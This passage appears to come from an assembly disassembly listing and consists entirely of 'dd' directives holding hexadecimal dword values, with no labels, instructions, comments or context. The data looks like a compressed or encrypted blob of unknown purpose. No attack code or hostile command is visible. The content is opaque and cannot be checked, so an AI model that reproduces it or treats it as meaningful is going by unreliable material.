		dd 5FF9D125h, 88D01730h, 406D3A18h, 64F412CEh, 0A18804D3h
		dd 580E52E1h, 6B9390EBh, 0FBC300A8h, 2A18A8DEh,	724D181Dh
		dd 9A2DF8AAh, 0CD1254B9h, 2E0FF841h, 18A1AA7Eh,	74B826D8h
		dd 3D004446h, 58CC0C6Fh, 3C008DF0h, 5F97DED9h, 1E1B7275h
		dd 6550D4FBh, 4C782018h, 94628011h, 0FA80E088h,	82E54C81h
		dd 9083EE68h, 0C6F120E0h, 6C20D500h, 0B56985Ch,	8230C65Eh
		dd 602CB147h, 0E905C6D4h, 0C004432Eh, 10B0852Bh, 0EC945008h
		dd 8CB0486Dh, 32867448h, 922499B3h, 9102BB9Bh, 60D38D37h
		dd 80CD2E00h, 46125AD6h, 94028CEBh, 9055984Fh, 32A6349Ch
		dd 4128C24Eh, 0F00CACC6h, 69CC1A53h, 14AE4431h,	0BAB25901h
		dd 7B01686Fh, 2C05EFFCh, 0ACD0BE5Dh, 2C0EC0ACh,	16126F8Bh
		dd 149A35EDh, 0DDC09288h, 1D34B0E0h, 50A07DBh, 80F84DCEh
		dd 0BAD6E720h, 6D59A0C0h, 5A92079h, 0D929D5FDh,	329809B8h
		dd 3B2DC848h, 265B3F00h, 0A65FFFE4h, 0C2FC000Ch, 0CD4D03F1h
		dd 0FB070EF3h, 0E179744Bh, 67F8340h, 3ADA375Dh,	701D09E1h
		dd 2F00C639h, 17307634h, 92035AA3h, 0D6453F29h,	0BA580B41h
		dd 882B05D4h, 4A09400Fh, 9C8FE489h, 7A4060F2h, 62237E4Ch
		dd 0E11164h, 0B04C8BF0h, 1986EDDh, 480845Fh, 2D46EA45h
		dd 0D42E1C60h, 11D49DE5h, 52FE8095h, 9B3BFCFh, 3F53CB17h
		dd 7F68A820h, 73007BA8h, 0E45840B6h, 185C904h, 36ADDC59h
		dd 4221BB10h, 50DDDCh, 0EA32D618h, 0E3025B9h, 6E8EE99Fh
		dd 0D0BB0300h, 0EA0BAE12h, 875BAC7Ch, 21A91AFAh, 0B6364B48h
		dd 12B11970h, 0D031DF7Dh, 0FC6470E0h, 0AC909A00h, 0EB2CA812h
		dd 8B0301EFh, 0F473894Eh, 4099E1B8h, 0DF217B84h, 0CE78658Ah
		dd 52E680F1h, 98F01657h, 564610D0h, 0AC7F0F8Fh,	2431E95Dh
		dd 8CE4CD18h, 62890ADFh, 80F432A5h, 1D2C7CE8h, 14B0849Bh
		dd 66D9D405h, 0A0C83B69h, 512B32B2h, 0AC6AD5D8h, 89E70886h
		dd 0C800F58h, 78C6F660h, 96451708h, 0DD00455Bh,	0ECF4140Bh
		dd 788068A3h, 84941C4Ah, 0F8E44669h, 2068D80Ah,	9249572Ch
		dd 25BE017Ch, 0D6A5CCBAh, 0A4A2885h, 0C7C802C0h, 646B7C2Ch
		dd 87FFC8D8h, 810CAD31h, 44CD5506h, 80498201h, 0C24DC329h
		dd 19A36575h, 0C08B321Fh, 0CB24341Ah, 5044C702h, 8791B166h
		dd 1F647088h, 0F88E0095h, 23C1BD88h, 0B0E8173Ah, 9EAC030Ah
		dd 5D827350h, 0B335910Fh, 82CC09F4h, 0A82D3E05h, 0C0A064E0h
		dd 80141E49h, 6856C7Dh,	13FD8CAEh, 0E16CF1C2h, 444EFF40h
		dd 315907BEh, 3E45A616h, 64009156h, 11A6707Ah, 2E410C96h
		dd 2439976Ah, 5E36C708h, 310E7181h, 90B00A4Eh, 30024CD2h
		dd 0C2105960h, 99BCEDD4h, 0D2B804B4h, 0D167459Eh, 0A33C8840h
		dd 165245C1h, 0C7496C2h, 34308369h, 0D061D615h,	0F5A20320h
		dd 95135C7h, 4F01D481h,	18225463h, 0F7C0B053h, 0E2B863D2h
		dd 71AC9031h, 0BC5B00B5h, 7857987Fh, 0ED3011E3h, 0DF4829AEh
		dd 8822040Bh, 0D5E50253h, 52A804E4h, 4C701983h,	17814DE0h
		dd 401235E9h, 525EDA74h, 9A53D236h, 28484494h, 90991B25h
		dd 44074A10h, 0B94D31C3h, 441706A8h, 0D869EEh, 0C301FE36h
		dd 0ED321D28h, 70DAE426h, 6230606Fh, 29BF75Ch, 6B0465F8h
		dd 0E442FA2Ch, 4A015389h, 517E830Eh, 5080D59Ch,	3E6506BCh
		dd 0CAF83750h, 0D235DC3Fh, 0D9B840B0h, 0BCA1D8A6h, 2F836DCh
		dd 62824C7Eh, 6058D184h, 0BE4C7FECh, 0FF48E090h, 0C01DC854h
		dd 67E6C7Ch, 0E0EC864Ch, 3B6C84CDh, 12FE9E40h, 0C3C7E138h
		dd 9AA0BA18h, 7C14634Eh, 24A4DF71h, 3C2DBC8Ch, 12C64690h
		dd 0ED51F1FEh, 10053DCh, 97E38353h, 0A468C355h,	0D89441C0h
		dd 38256519h, 0DEA40FE5h, 0BBA85503h, 9445C093h, 0C0EE24EAh
		dd 3EB64204h, 0E804380Ah, 8816F40h, 4C335033h, 8C80826h
		dd 0B209EA09h, 94B2B5h,	937C329Ch, 0D5CF092Fh, 74219B01h
		dd 7021C061h, 0EA251B41h, 4068AE97h, 10CF9462h,	0C2330051h
		dd 8269C866h, 6E2478B4h, 56090A83h, 1964119Eh, 0E850502Ch
		dd 11C88853h, 88AF4928h, 12908A58h, 865CF41h, 1F8040DAh
		dd 31A86D29h, 0F419DD60h, 0A79026h, 533F7DEAh, 0EB05FB3h
		dd 99C4B39h, 27585B9Fh,	0D9400F48h, 5081CD62h, 4A9894F1h
		dd 98185059h, 262C9C77h, 0C7D1C310h, 3D5E1EA8h,	710060B2h
		dd 0E9FC2BC8h, 8AABBB6Fh, 95C4A045h, 24564160h,	0BB913D01h
		dd 5D934D6h, 0F39F2DFh,	7041100h, 1E30A62Ch, 0A58F98BBh
		dd 0C9CF13E2h, 0DA0040FDh, 83D839FFh, 4B730C3h,	0B4D048B0h
		dd 48EDE10h, 19C729D4h,	9C1734C0h, 53D70677h, 20900646h
		dd 0BF734F05h, 203C801Bh, 2D154618h, 111817ACh,	0F0180BFh
		dd 94E4CF96h, 95465C94h, 0F1C20B07h, 9AB3A3FDh,	0E8F4F058h
		dd 1E008C94h, 58B027A1h, 5A51921h, 0C51F0E72h, 1628C117h
		dd 241C715Ch, 0DCE8DAD8h, 0C0C38D28h, 5062E700h, 3E1E58FCh
		dd 90AC55F6h, 1783EC2Ch, 0F5C2C99Bh, 64C0046Ah,	0C5408304h
		dd 6755121Ah, 1B2C045Bh, 0CF54E069h, 5D45073Bh,	0FB40070h
		dd 0DD70CC72h, 78C16C35h, 0E70E4F29h, 0B55DA406h, 0E0B5E040h
		dd 0F1358846h, 8C66C641h, 6D2C1848h, 1A848088h,	20447FFh
		dd 6720B898h, 0F8DF51CFh, 41F71820h, 192CCCB0h,	0B5A58703h
		dd 4BDD0212h, 17C842E9h, 0F8F0F95Eh, 0B9093C30h, 0EAE220Ch
		dd 2E0F8566h, 602494C8h, 0ACB67140h, 4E74B0B4h,	0D6743084h
		dd 0CA2D2513h, 7D816D2h, 0FF13DD95h, 2A3B40E6h,	0A9056CD2h
		dd 818CF6A8h, 203D4082h, 56595D0Fh, 9841BCA2h, 74442A03h
		dd 0ACC3B669h, 0C9F41A62h, 0FC58E942h, 8BD8544h, 95D08209h
		dd 2D68609h, 218326A0h,	74415598h, 0A339D124h, 0B6A45074h
		dd 3A04D440h, 0BC50925Dh, 0D8CA501Bh, 0BAAC80B1h, 19127CB8h
		dd 849203A7h, 48C6CDDh,	627B4C7Dh, 20DE628Ch, 4D4C86EDh
		dd 486E5E3Ch, 8EC2E8CCh, 5218BA02h, 6438C7D8h, 0CA4808E0h
		dd 0EC2094F5h, 0CE81897Eh, 0F71061EEh, 6F0FBC38h, 2109553Ch
		dd 0CC045C8Bh, 0B01D5280h, 16EF222h, 0D45B008h,	413E17E5h
		dd 817FE820h, 11104631h, 0E5E59E02h, 4EFA8CCh, 45087844h
		dd 54A83Eh, 8B7E073Ah, 141B3624h, 0ECE27C55h, 95D4BC09h
		dd 5E4B4868h, 0CCA8192Ch, 48BC84Eh, 0A08D5DF3h,	114C840h
		dd 40F8809Dh, 48C869Ch,	51D41023h, 20C56227h, 53101C93h
		dd 22B5A0Bh, 98D08BB2h,	58D70C64h, 0D678ECEDh, 0F43800A1h
		dd 6AA5628Ah, 0C8289496h, 20EC0634h, 0C6DFFC08h, 622B9A77h
		dd 0E711FC9Ch, 0C1BAEB31h, 0B66FC30h, 21F0FC00h, 946C4874h
		dd 0E3F90BCBh, 0CC293911h, 0C028789h, 0C702E4CDh, 957C512Bh
		dd 845884A8h, 8CBBE8h, 0C51BCA52h, 7CF58889h, 5A5DA617h
		dd 62D0BC00h, 90D5E2ADh, 8ADF00C4h, 804FC81Dh, 0B152E425h
		dd 0C0E84CC0h, 8C58CF3Ch, 0BE7EEB9h, 991F9AACh,	0CAA0498Eh
		dd 661565F1h, 0D81CF60h, 29CE6DB3h, 78EA35h, 60234B0h
		dd 0EB506A55h, 9A0C48B0h, 0F09503EEh, 4651888Dh, 996BE27h
		dd 11289D70h, 8D3A8391h, 52E82A31h, 0CB6630ECh,	0AE1081A1h
		dd 427D921Eh, 0CCF51481h, 3C26B1E3h, 22017F23h,	0EF51D710h
		dd 9AB0F078h, 3F12101Bh, 34028DF4h, 40916F04h, 4A495A90h
		dd 0DD280B9Dh, 0D92AD086h, 62847850h, 2122B88h,	912E4C41h
		dd 0CC56C6F0h, 70C2E512h, 20DCD88Ah, 771ED209h,	1FC8AD88h
		dd 894B09DFh, 0A2362C38h
		dd 88A88E48h, 6651864Dh, 0C9F8817Dh, 486128A2h,	0CE798578h
		dd 0B4F08958h, 826E1C0h, 0B6462F7Bh, 4EDAB405h,	0CB475938h
		dd 0CEAE0050h, 40B2D9C9h, 1A264890h, 19855088h,	3808E42Dh
		dd 0D890AD54h, 9D00EB3Eh, 2EBD07B5h, 70CA9E51h,	0AD6800ECh
		dd 0BB81223Dh, 4028052h, 0A2C56209h, 26D845EAh,	57E1C0A0h
		dd 0D955337h, 4CDD21E8h, 1C61B024h, 4544E7E5h, 0C07C48E8h
		dd 6462EFE7h, 9B4FDD01h, 3527D2DFh, 0E90CD87Ch,	3BB8D591h
		dd 5D7F140h, 0C55EE3DEh, 9488509Dh, 473AC7C2h, 184A88C8h
		dd 448CE4Eh, 0BE8980B0h, 0E49B4CB2h, 10E4114Ch,	0D00185F1h
		dd 3C565F6Ch, 0EFF8748Ah, 0C87170C0h, 596861F5h, 0E13BEC83h
		dd 0F23148Eh, 58D7CC60h, 0DE0935EFh, 67DF2291h,	80D14FCCh
		dd 0FC123E37h, 0A7D4015Ah, 77DE70C5h, 5518201Bh, 20459122h
		dd 10B0F73Ah, 0D5028346h, 0EACA2413h, 966084F1h, 613DCh
		dd 0D2991150h, 756C9476h, 0FCDEE224h, 1295160Bh, 82505E10h
		dd 91F635F3h, 0CE4EDC00h, 71576E2Eh, 0E7595EC5h, 80B92238h
		dd 0B1D58FCh, 0AB6741A3h, 48C7D020h, 5D250BE4h,	0D42C08C6h
		dd 0A0E00208h, 88A25DBCh, 5140D62Eh, 0B03A14C0h, 9F009223h
		dd 0E635EB95h, 931494A4h, 667C3164h, 8C0805ABh,	2DF028C5h
		dd 8A3E973h, 0A971D466h, 4894B216h, 1F2930C1h, 8A59EF00h
		dd 8E47BF07h, 58AD71CFh, 68C88CA5h, 0E4A48D49h,	0E5D74E45h
		dd 847C2CC9h, 977FC444h, 0D5010837h, 70F4B6B5h,	50CAC020h
		dd 0FE94B44Ch, 12DC9469h, 178016EEh, 0B05851F0h, 982D3922h
		dd 0B6D8AE53h, 40A2E492h, 1DD7538h, 0DD60BAFh, 0D412B9EFh
		dd 724ADB01h, 0E2464481h, 0A0E83474h, 0D583DE4Ch, 3D32E402h
		dd 8CE4E8F9h, 69641C00h, 1BD90BEBh, 3CA097EAh, 6261374Ch
		dd 51014EE8h, 687B99C2h, 0F03D6728h, 0B5D8B600h, 20D0FE45h
		dd 0A7229600h, 0E3E98A29h, 64AA753Fh, 44A3A00Ah, 0B4A231C7h
		dd 1B0C0407h, 482C9AEh,	4A00AC61h, 7CB81CB0h, 0B689C0CEh
		dd 0DF4149FEh, 406F5304h, 0C0AD5D05h, 0B4C1E4Bh, 0F00936C2h
		dd 3C45067h, 7803217Fh,	7024CBBAh, 7A0848EEh, 983C3CADh
		dd 0B8F8444Eh, 8BCCBCDCh, 96409032h, 0ECED1FA9h, 22B74086h
		dd 6003C1D5h, 76F443E4h, 49FAE04h, 48A0FA4Dh, 4EC80225h
		dd 3F224650h, 590FA8A6h, 2C188F4Ch, 6A8440C6h, 3181B57Dh
		dd 218E7203h, 9CB32B0h,	2F00F4C4h, 3073162Dh, 134FF8h
		dd 8CB00A9Fh, 1486AC0Ch, 3ABDB108h, 22910805h, 87186125h
		dd 1A049879h, 0E1D9FC55h, 0A9FC2034h, 4C058C5Ah, 9CE3546Fh
		dd 0D868EF01h, 1EC30CC2h, 19F9340Ah, 0C25B652Ch, 792CC624h
		dd 0CAD845DEh, 0FF32B84Ch, 24C42048h, 2808A854h, 5CAC188Fh
		dd 30308A5Fh, 0A1DB160Ch, 8114D09Ch, 81B91Ch, 69FDB248h
		dd 406668BAh, 0F42AAC76h, 8301AC87h, 0B8D5F6CFh, 606DECD6h
		dd 41E64517h, 1953CB9Ch, 123045D4h, 0DEA820AAh,	0F2000818h
		dd 0BD0D1960h, 6874EAh,	0F3D33929h, 0C657B467h,	16EEA927h
		dd 68CF2470h, 5DDE0597h, 88988F26h, 1652C090h, 0EA31023Bh
		dd 57B119C3h, 0D5F7096Eh, 2F108072h, 6D278822h,	41C48045h
		dd 1A9A2F60h, 0E5202890h, 43CE13EFh, 3A902030h,	0B8147A1Ch
		dd 10E094E1h, 0E458EBA9h, 79CF5D03h, 839201C9h,	9950090Bh
		dd 9C38F3A0h, 1150DDA1h, 2084F4C7h, 46C580B9h, 0DC1B756h
		dd 5765EF35h, 3DD4D089h, 81E96605h, 8CE4825Dh, 2CBE59CDh
		dd 0A0806B13h, 12814FCCh, 767474CAh, 9FF29F47h,	40E0201Dh
		dd 6CE598BBh, 3AAD8248h, 1A0400CFh, 364FA48Ch, 0BE4D1C91h
		dd 8823D310h, 6FABC703h, 9EC6453Eh, 0C5620C18h,	0EE30EC4Ah
		dd 0E8ABAC16h, 87BDF0D0h, 71020051h, 77D57AD3h,	1509B51Eh
		dd 0B99F046h, 0A0040E1Ch, 696C192Dh, 0B6453008h, 0BDD63459h
		dd 4C02E740h, 0A416A41Ah, 0C884CEDAh, 9094C397h, 93C5A8B1h
		dd 4041F6D8h, 2405A3D1h, 0E411A042h, 0E0B49638h, 993C7734h
		dd 49C4752h, 0D995DCC2h, 9C227C10h, 0E238AFFCh,	36078046h
		dd 16D03933h, 0AEF002D8h, 0A4B77204h, 0CA405C5Eh, 309A1Bh
		dd 92F4832Bh, 0D5D2311Ch, 2794505Ch, 82B8A4AAh,	0E8102760h
		dd 96075127h, 1220E21Ch, 0B2796D10h, 18007F18h,	770DD702h
		dd 0BE16E2E7h, 38191B4h, 519259E1h, 0EC92BC61h,	13EA3080h
		dd 72CA2910h, 13D191E0h, 3B302112h, 9C48ACB3h, 8A40013Ah
		dd 912897B5h, 666880E0h, 1C59E61Dh, 4B73880h, 0E28E6DADh
		dd 30BFF26Ch, 0DA05D074h, 0EE458405h, 4BD528A0h, 0C8648B51h
		dd 0C0D0C5AAh, 97A8E654h, 0B5BD3500h, 0C8BAACF9h, 0C20530C9h
		dd 5188B2F8h, 5881984Ah, 0C02BFEDh, 304D853h, 2509AAF0h
		dd 1FFCE482h, 0FF310F00h, 848344E8h, 92007673h,	25DF9CECh
		dd 2EA0D463h, 40E06679h, 0F9965A59h, 0D5CC7804h, 0C8A11201h
		dd 9B60083Bh, 4C097F16h, 0A8A0E3F6h, 4E25F35Dh,	8C68C51Eh
		dd 9884DB60h, 0EB5E2DDCh, 60D12424h, 21774C79h,	0F1C16C62h
		dd 0C0D04C82h, 9EBB02B7h, 79B42D51h, 2741E862h,	5911F8C8h
		dd 3AB0A9C1h, 2EDD4417h, 0B6E060EEh, 5816844Fh,	84D72F30h
		dd 31CC3F90h, 410135CAh, 0F250A241h, 30F931BEh,	253937DEh
		dd 8191934Ah, 7AC3CC2h,	4E302ADAh, 101180B1h, 0B7F751D6h
		dd 99047496h, 9A3E102Ah, 29891CC2h, 91B27805h, 26D4B81Ch
		dd 7EA003C4h, 0D234B074h, 84806901h, 5357E110h,	6506C604h
		dd 6090223Ah, 0B3080540h, 0C2D865D4h, 0E0A47DACh, 161CF482h
		dd 245AC100h, 9A32BC3Ah, 3D410791h, 102DD3DFh, 7D9B94BFh
		dd 0AAE9E512h, 842364C9h, 0BB86A408h, 7311D426h, 5B0C884Bh
		dd 77E2C23Bh, 802FDF5Bh, 3601BF23h, 7DB3F1Fh, 0B80B4023h
		dd 0C485F4A2h, 8120D5D5h, 21B931FCh, 0B8203AB8h, 132A893Eh
		dd 82DE1440h, 4A2753B4h, 511F440Ah, 0E0D2BA13h,	0A8482085h
		dd 580675AEh, 1644F695h, 468C90C0h, 13D70789h, 0C478CA12h
		dd 0DE90403Eh, 1AB813h,	0FA97349Dh, 9ED18C26h, 0A45C9324h
		dd 0C0F8CD2Dh, 1A29A5A9h, 828CA41Fh, 0E854FF80h, 91966245h
		dd 5E514158h, 182EDB8Dh, 6E08586Fh, 0E3DA0348h,	294B5511h
		dd 0BBC80CCBh, 8778B9C0h, 3E3903E7h, 0D260330Eh, 2C732100h
		dd 50FB5756h, 18130047h, 0E9D0E46Fh, 9260015Dh,	55D57D90h
		dd 2532D6Bh, 883168A4h,	216F6430h, 84A549E4h, 0E6355240h
		dd 0A0A7A060h, 887650A2h, 49974F0Dh, 0BC7AE1CCh, 4084013h
		dd 24338C08h, 98304B40h, 882CD22h, 0B02A3DCh, 5A67B95Ch
		dd 0D0B79DC8h, 82CCA409h, 9ADED0h, 0EBB57598h, 0D3E5910Fh
		dd 9387C148h, 58246EFFh, 0D0A54B72h, 7645EBDCh,	67F404B5h
		dd 3C0F4C90h, 46FE275Dh, 0B1A4C44Bh, 3C1433E4h,	0D4410058h
		dd 505CA510h, 11780074h, 0D143672Eh, 0ED4EE669h, 5432388Ch
		dd 384B4h, 0B1A87913h, 9CAF7899h, 44A3C027h, 0EBE5000Ch
		dd 248A57E7h, 0CD01179Eh, 74125201h, 252FE8A1h,	3005185Ch
		dd 874ADD88h, 54C86480h, 0A94205CBh, 0B8644653h, 985503B8h
		dd 545BB656h, 3B70030h,	0F940CF6h, 689032D7h, 0B80C4180h
		dd 8517813h, 200D6004h,	98D73B35h, 1989EB03h, 0E133D308h
		dd 0E4E84A61h, 9A840497h, 1F121A2h, 9434099Dh, 60927CF8h
		dd 0E49718A5h, 3B1DF738h, 78300FFCh, 18CC4EEFh,	224B966Fh
		dd 8CC338Eh, 1502123h, 96A6CC46h, 80A9727Ch, 0FD48348h
		dd 0C0A1C66Ch, 9E518B10h
		dd 997CFB0Eh, 17062407h, 0A600CC8Ah, 20F715h, 84465FADh
		dd 10CF86D4h, 9280D0C3h, 0B005A319h, 1DFAAA21h,	4015A866h
		dd 76676FBCh, 2360F15Ah, 2439420h, 0A787F63Dh, 63A90820h
		dd 0C58280C0h, 8A1D8010h, 0A5F42000h, 74CD7E15h, 1272311Ch
		dd 0C055F748h, 490AE16Eh, 0C8F193A3h, 5D5A7E83h, 75400F24h
		dd 0A38FEA37h, 0FB8E1183h, 3F233289h, 86229A82h, 0F0399FC4h
		dd 0D06D03ECh, 0F368864Dh, 8C588D89h, 2093F408h, 0D066004Ah
		dd 6CC8B056h, 7A002DC5h, 15CCAC89h, 9F8DBC1h, 98180AEDh
		dd 80AC8F88h, 653ED78Ch, 0CD02742Ch, 0A5450F7Eh, 0B4E4A097h
		dd 333B669h, 10D3631Dh,	8305315h, 615621ABh, 99F8B6h, 8A5DD87Eh
		dd 0AB928498h, 1985E0A0h, 10CA271h, 0C9F9B69Ah,	1109009Ch
		dd 9E6ED727h, 50061E3h,	0F4E558C1h, 3F8CC7Bh, 6C909407h
		dd 484098DAh, 0D8619390h, 0CD628041h, 5F9A057h,	0D001A042h
		dd 0F98D89F8h, 24FD1889h, 0F4B63423h, 7BAD3902h, 41EFD920h
		dd 9983D764h, 0C3BA6C96h, 0A33C6801h, 4998AA8Ch, 0C4095C44h
		dd 0F06C333Eh, 469672CCh, 252223h, 26CC4155h, 0DF844299h
		dd 8A31CB73h, 67A12E0Bh, 30864AE0h, 3561A619h, 0FC1E4270h
		dd 0A4986C0Dh, 0A19CF88h, 99FAF566h, 3F88323Ch,	11CC4A30h
		dd 882B9673h, 42548026h, 0D63966CCh, 0E9642D05h, 37C18411h
		dd 91A2766Ch, 0EB120ACh, 0A181FE08h, 0E82247F6h, 49207828h
		dd 966406F1h, 0A8AD568Ch, 98952232h, 0CC4D303Ah, 43966E11h
		dd 51802888h, 0F66CCC45h, 0E5F30095h, 137C7F3Fh, 0E4A89082h
		dd 6A4D0D1Dh, 42368E60h, 3321806Ch, 3F3140ECh, 6E660D7h
		dd 0AB9E29FBh, 0B0880898h, 0BF52621Ch, 56110130h, 1B61A76Dh
		dd 32F0A2F0h, 6B79A60Ch, 0C9CB3731h, 3181980h, 24403288h
		dd 3DC8ED7h, 24F493E3h,	0CFA0EF8h, 0FB5A4E26h, 642CB112h
		dd 0FA41C249h, 9CA09A83h, 7788295h, 0AC0288D2h,	6303C406h
		dd 4C479216h, 0B66704C8h, 62531D35h, 5F5420AFh,	0F97964B6h
		dd 0B273480Fh, 0FD9502A6h, 68C0AA02h, 3284674h,	39CB2A5Dh
		dd 8FA581B7h, 0A8BF1020h, 2461E0A8h, 101A45h, 81D49C4Eh
		dd 77025FB3h, 64CCC6ABh, 83384882h, 0F76A2421h,	8C483E6Ch
		dd 151C07C3h, 13F6713Eh, 2055B802h, 0C87E8594h,	0FE34E467h
		dd 0A3817CD0h, 2EC10EB8h, 1D80F6E1h, 0D94FB749h, 57581E00h
		dd 0AA5D4A72h, 0AC50FB82h, 1FD5D615h, 0AF15CADh, 10C2D62h
		dd 0F58B47BCh, 0CD309632h, 8C3A0452h, 4006A823h, 0D91DFDh
		dd 119BF226h, 5376C72h,	0E38A9A03h, 992052AAh, 3C607FC0h
		dd 0FDF64099h, 98A16A05h, 0AC8B3913h, 66C025C8h, 24620912h
		dd 16B69876h, 49D44296h, 0A880F5B1h, 3F57112Fh,	87FA7512h
		dd 929D4420h, 68F858BCh, 0FE22144Dh, 5C07B624h,	4E6C4A80h
		dd 1741D3F8h, 1E507133h, 5C9DC072h, 0BC7E780Dh,	0D8921F17h
		dd 7015EB00h, 772357CFh, 124C3433h, 44A80868h, 3AB66AC0h
		dd 223B461Dh, 625900B0h, 3EF07EB6h, 39025F8Eh, 155CA187h
		dd 473840E6h, 5A02CEFh,	859D94h, 91620A42h, 8A0CC682h
		dd 0F8ADA449h, 0F6C21F8Eh, 40E9FAFh, 0C852EC19h, 48C41F4h
		dd 9671CC4Ch, 52381Bh, 2BBDCC44h, 262184C1h, 0E8940F51h
		dd 53162FC7h, 0E4143EF2h, 3497265Ch, 0ACDDAC0Ah, 784AF03h
		dd 0A84E9916h, 882CC40h, 0B874129Ah, 5388403Bh,	14BDAADDh
		dd 4880DA34h, 248A6487h, 4A043h, 0E019E7F1h, 3E4FC278h
		dd 88F8E100h, 1F957E20h, 1A030CFh, 0ED75A529h, 3EE5F61Ch
		dd 2C458D00h, 561384h, 5060B341h, 8CD0BFBCh, 0D0F1BCB9h
		dd 5ED0C81Fh, 6189D608h, 0D9AE391Fh, 9A1D02B8h,	8884EEB8h
		dd 376B209Fh, 0B94A006Dh, 9BE6811Ah, 4C9006DDh,	0F45F6E26h
		dd 398E6911h, 2980485Eh, 34400DC4h, 19E8D742h, 0F62DD300h
		dd 8A1F65CBh, 880A5070h, 0ECB54C7Eh, 1751FD30h,	24911608h
		dd 2E4E6100h, 258C9A67h, 7401B4EAh, 0D0F69697h,	80195F57h
		dd 1420644Ch, 330C22EDh, 6E357402h, 52B61C73h, 0BED0020h
		dd 9E9D57F9h, 48B1B775h, 7D9A3A00h, 43FAC2h, 268B1DE8h
		dd 2ECB7F6Ah, 0CF176F00h, 11043988h, 0BDD51258h, 3C2C1450h
		dd 0C53E3C40h, 0FB88D8h, 7A3D4AA8h, 0EE262C8Ch,	8402187Dh
		dd 400280E3h, 98D8FA9Ch, 2008B0E4h, 3C4C9CAAh, 8CACE894h
		dd 0E7CBCC06h, 2A40A133h, 7E4079Fh, 0EEC69B0h, 180BD0DEh
		dd 0B4058FD4h, 0B74A2872h, 4B31B820h, 181F0173h, 1BCF6450h
		dd 3A0C307Ah, 1C2D2706h, 0E458384Dh, 26512482h,	2E7C1E20h
		dd 64F68320h, 0C00597EEh, 0B8FA33Bh, 448ED088h,	1E54FCAAh
		dd 837B5FE8h, 927D3Ah, 2D2214CDh, 703E6BFh, 65FE1328h
		dd 0A2127068h, 0A4A0E9D4h, 956585FAh, 7C810949h, 7085AF6Eh
		dd 8029D58Ch, 410F640h,	9A126C90h, 2C1311ACh, 28C54004h
		dd 68304622h, 1D3411B6h, 80AD886Bh, 0FAB66057h,	0A0029FA1h
		dd 6A1C7CB9h, 148C693h,	2E46B31Eh, 0E7C29B75h, 7D8E0AA8h
		dd 889D4E05h, 44C1F9BBh, 80A8EEC1h, 1A1C0E04h, 0E6E14F1Fh
		dd 20E37220h, 4091B600h, 2B53A200h, 3D8CBFB1h, 62017A34h
		dd 9215B7DFh, 0B52130F3h, 0B204B01Eh, 0ADFEA509h, 0E091B104h
		dd 0B66D8041h, 8C431D37h, 5AAE44h, 77EEB665h, 0EF68CD40h
		dd 89F60B06h, 0CA582125h, 83A4EC6Eh, 351807F7h,	0B858F95Dh
		dd 12500049h, 22956F30h, 1763FC63h, 80602321h, 3F711C0Eh
		dd 0B000695Ch, 8066103Fh, 1163617Ah, 99BD190h, 3A761C31h
		dd 38B0829h, 7C967C10h,	58B1BA20h, 1D87C8A5h, 51011EC5h
		dd 5002A057h, 0B532E98h, 2BDA3F11h, 0E590A30Ah,	2574A8C4h
		dd 0E4211521h, 346EF0EEh, 2740F1B0h, 0A0DF2413h, 395840B4h
		dd 9C06E095h, 675B30E4h, 44382F02h, 871877D8h, 21B068B2h
		dd 0A9988811h, 0FD09E4E4h, 0C8BDC284h, 4C88DE0h, 331210A3h
		dd 0B1113E8Ch, 42B1F804h, 0C042E204h, 3D9CF0D0h, 48A61D38h
		dd 0A3CD40E4h, 28AF18Eh, 1246DA4h, 507A1C67h, 1737F7B0h
		dd 8AAC705h, 0E020F419h, 969D2664h, 0D88688E0h,	7A4B6C3h
		dd 0F58E1141h, 0EA832017h, 71DCD5B5h, 0F1418204h, 7F86018h
		dd 8201922h, 0ACE28498h, 0EA8A506h, 5E740418h, 816CC07Eh
		dd 71FD2EC5h, 3C1C742Ah, 0CC4F048Ch, 8E33966Ch,	47017F74h
		dd 0FF2B0FCCh, 4EF00DCBh, 0A2BC28E3h, 5A908881h, 0B0689239h
		dd 2856EA2Ch, 22C8E3ADh, 42702825h, 2EAFCA0h, 28F62388h
		dd 7CB06063h, 96F2404Ch, 6092743Ah, 1C3189D0h, 7C4B859h
		dd 6C34C6CCh, 0F0BA2490h, 880A0C24h, 203C4724h,	8C5DCD78h
		dd 465E7494h, 0E2050029h, 0E1621F1Eh, 5308128Ah, 0FFF0C0D7h
		dd 292A0C2Ah, 9800EC9Ah, 5E1558B7h, 0E0FD0A72h,	5F092F5h
		dd 8CA3956Ah, 4C9481A9h, 0E098A0F7h, 0A4BF0E25h, 0C4A1446Ch
		dd 29BCEC2Ch, 6660008Ch, 7FD2A78Fh, 211304A3h, 0C848F87Eh
		dd 2660A848h, 42042515h, 84409772h, 9C96FD9Fh, 0B280F300h
		dd 3732B24h, 714A1BFh, 0FCB8C69Eh, 2F0337A3h, 3863674Eh
		dd 3DA82354h, 6DCC5001h, 0E3B96h, 0D4CC484Eh, 0A029006h
		dd 86A7BF9Dh, 5F82827Ch, 3060C823h, 20BAAA62h, 2213137Ch
		dd 0C887A90Bh, 0EC38A281h, 476A460h, 731C9B95h,	2EA0D025h
		dd 0A11FE820h, 740C98CCh, 14CE190Bh, 88DF3E19h,	3B00D658h
		dd 988B774Ch, 0F66C7E49h, 5B3A7818h, 0F36020CFh, 1F409424h
		dd 8133647Eh
		dd 0FE28C2DFh, 91DAD0C8h, 90E52830h, 7B2F2532h,	0B8A9627Bh
		dd 0E0720C68h, 0B4087126h, 1FBDAA40h, 30B17CBFh, 6318F785h
		dd 0EF171837h, 5D5C2h, 0D421F101h, 60B7D44Ch, 91EA8F38h
		dd 23468388h, 180565BCh, 0D24CF19h, 25384820h, 7233102Ch
		dd 0EB9C1FB4h, 97D06C21h, 253B8085h, 8D53B438h,	7E0420ADh
		dd 2141FE7Ah, 903BF368h, 94C09AA8h, 3184C7CCh, 0D4F8B954h
		dd 83A0F64Ch, 0E41B57CFh, 207AB4C8h, 0DB052235h, 0A6061491h
		dd 86EA8C89h, 14097EC4h, 349DAA1Fh, 0A1AF64C4h,	103F4160h
		dd 0D57082F6h, 80BC1E74h, 0A47C51F0h, 267231A2h, 79B0D630h
		dd 0EE6A1368h, 12C748C3h, 0F53950h, 0B47B3408h,	0F303D00Ah
		dd 8C98C621h, 0C16968A3h, 0C48CC850h, 97988067h, 80AAB549h
		dd 0E70CFCC1h, 5D0CA846h, 0D0DE7E08h, 10C4B03Dh, 256620E5h
		dd 0B402FB08h, 5C83AB2Eh, 4048E1BBh, 8C29E8F4h,	8371A407h
		dd 0EC803DA0h, 4DBA28EBh, 6C096CDBh, 0E844B332h, 66024846h
